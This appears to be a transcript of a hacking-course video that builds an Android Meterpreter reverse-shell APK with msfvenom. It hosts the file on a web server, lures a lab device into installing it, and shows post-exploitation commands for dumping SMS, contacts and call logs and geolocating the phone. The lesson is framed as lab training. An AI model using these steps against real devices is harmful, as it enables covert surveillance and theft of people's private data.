Instructor: Welcome back.
Let's hack our Android device with the help
of the Android payload that we'll craft with MSFVenom.
So this is going to be our first attack.
We're already familiar with both MSF Console and MSFVenom,
so we can go straight into hacking the target.
Now, if you might be asking why am I using ZSH right here?
Well, I just decided to switch the terminal a little bit
and I'm going to go and use ZSH
throughout this section most of the time actually.
But nonetheless, you can use the regular terminal like this.
Whatever you feel like it is exactly the same.
It just looks a little bit different.
But nonetheless, what is important for this attack is
that you have your Kal Linux machine opened
and you have your Android machine open right here.
So once you get both of these things open
the first thing that we want to do is, as usual
we want to check out the IP address
of our Kal Linux machine.
We need the IP address
in order to craft the payload.
Once we check it out,
in my case, it is 192.1.68.1.9.
We want to generate the MSFVenom
on payload for the Android device,
but this is something that we haven't done before.
We used meterpreter, we used the Windows Reverse TCP
and all of those different payloads,
but we never really saw how an Android payload looks like.
Well, this is the first time and in order to craft it
let us first navigate to the desktop
and let's run the command, MSFVenom dash P
and then the name of the payload,
which is android slash metepreter
slash reverse underscore TCP.
And you will already notice
that this is a meterpreter payload
So we're going to get all
of those cool options that we can use
in the post exploitation with this
meterpreter Android payload.
Once we set the payload, we need to set the L host, and
in my case, that is 192.168.1.9
and the L port can be anything.
So I'm just going to go with 5555.
Once I set this, I want to output it as the file
that can run on Android.
Android has dot apk files.
Those are applications that can run on Android device,
so we must make sure that
our payload has the extension of apk.
We can call it, for example, Shell and then dot apk.
This is a must.
If you type something like dot exc or dot PY, it won't work.
So make sure you add dot apk and once you craft
the entire command, press enter.
And while this payload is being created, let's go
to the second terminal.
I will enter the ZSH and I will go and start the Apache2
web server, just so we can actually transfer the payload
from our Kal Linux machine to the Android device.
I'm going to enter my password right here, and
once the Apache tool has been started,
we can go back to the first terminal.
We can see the payload has been created.
If I type LS, we will have it right here,
which is shell dot apk.
And what I'm going to do right now is I'm going to
move that shell dot apk to do slash var slash
www slash html directory in our Kal Linux machine
because that directory is the web server directory.
Hmm, permission denied.
That is because this directory requires root privileges,
so let's just type pseudo
and then move it to that directory.
If I go there, type LS
we're going to have our Shell dot apk there.
Now that we have that ready,
let's go and start MSF console.
While it is starting,
we're going to go to our Android device
and here is where it gets tricky a little bit.
As I mentioned in the theory video,
there are a lot of things that the target has to do
in order for this payload to be executed.
The first thing that they have to do, is they
actually have to visit your link where your payload is.
In our case, or in my case, it is
under the IP address of 192.168.1.9.
So I'm going to visit that payload
and we're going to see this shell dot apk right here.
If they click on that,
the download will finish
and then they have to click on open.
Now this can only be achieved if your target, for example
thinks that the payload is something,
or something that they want to download.
In other words, if they suspect
of the payload being anything else but thing
that they want to download,
this will most likely fail
and they will never download your application and run it,
especially once they reach this part right here.
If they actually read what this application
will be able to do
it tells us that it'll get access
to modifying system settings,
take pictures and videos, modify your contacts
record audio, directly call phone numbers, read call logs
read phone status and identity and write call logs.
And this is not the only thing.
If we click on next, it gives us even more things
that this application will be able to do,
which is read your text messages, receive text messages
modify or delete contents of your SD card
and none applications should be able to do all
of these things.
However, most of them will not read through this.
They will just click on install.
The application will take a few seconds to install
and it'll tell you that this app was built
for an older version of Android and doesn't include
the latest privacy protections.
If they click on install anyway,
the app will fully be installed.
They might get this warning right here.
It depends of the Android version.
It says Play Protect hasn't seen this app before
to protect yourself and others send it for a security scan.
They will most likely, if they came up to this point
they will not send anything for the scan
and they will just run the application.
But before we actually run it
we need to set up a listener inside of our MSF console.
So let's go and type use expert multi-handler
and let's set the payload
to be Android interpreter reverse TCP.
We need to set the L host to be 192.168.1.9
and set LPORT to be 5555.
Once we do all of that
we can press run
and while our listener is being executed
they can run the application,
which on their screen, nothing will actually happen.
But if we go back to our Kal Linux machine,
we have the interpreter session one open
and if I type get user ID,
I will see what is the user ID of the target.
If I type help,
I will see all the available commands that I can run
on the target entry device
and we can say it's not really the same
as for the Windows meterpreter shell.
We have a few new things such as screen share.
We have two fully new sections
of the commands, such as Android commands right here.
Here we can use activity start, check route,
dump call log, dump contacts, dump SMS, geo locate,
hide app icon, and many other things.
We can even send SMS.
However, if you try any of these commands
in an actual virtual machine,
of course they will not work
because we cannot send an SMS from a virtual machine.
But if you were to hack an actual Android device,
you can type send SMS, then dash D
and as it says right here
dash D specifies the destination address.
In our case, that should be a phone number, so
you specify the phone number that you want to send this to.
It can be anything,
and dash D is the actual text
that you want to send.
It must be a text between the double quotes,
and you can type anything such as, "Hello World."
Of course this won't work because our target is
an actual virtual machine, but if you were to once
again hack an actual Android device
this will send text message to this phone number
with this, "Hello world" message.
Cool, right?
And that is just one of the commands that you can do.
You can dump all of the SMS messages
if you type dump underscore SMS.
This will print out all of the messages
that that target has stored,
so you can see what the target has talked with other people.
You can even go and try to dump contacts in order to get all
of the contacts from their phone.
You can dump call logs to see all the people
that they actually had a voice call with.
There are other cool options
as well, such as WLAN, geo locate,
and it says, Get current lat-log using WLAN information
and this lat-log is simply just latitude and longitude.
In the application controller commands
what you can do is you can install different applications.
You can list applications.
If I type app underscore list
for some reason this time it'll time out, but nonetheless
that could be because this send SMS message.
We're going to check out this app list
in the next video once we try out different attack.
But one more thing I want to show you
before I close off this video is
that actual place where your application got installed.
If I just close this Google Chrome first,
is if you go to the applications,
which you can go to by clicking on this arrow right here,
you will have this main activity
with the Android logo, and this is our payload.
This is the virus that we sent to the target.
In order to uninstall it, you can simply just hold
onto it a little bit and then drag it to the uninstall
and this will uninstall the payload from the Android device.
Just in case you're testing
on a real Android device and you want to make sure
that you delete it afterwards, you can do that.
Nonetheless, this is our first attack
on an Android device and
in the next video we're going to check out a similar attack
with the Android payload just by using a different tool.
And then we're also going to test
out the Android application commands.
See you in the next video.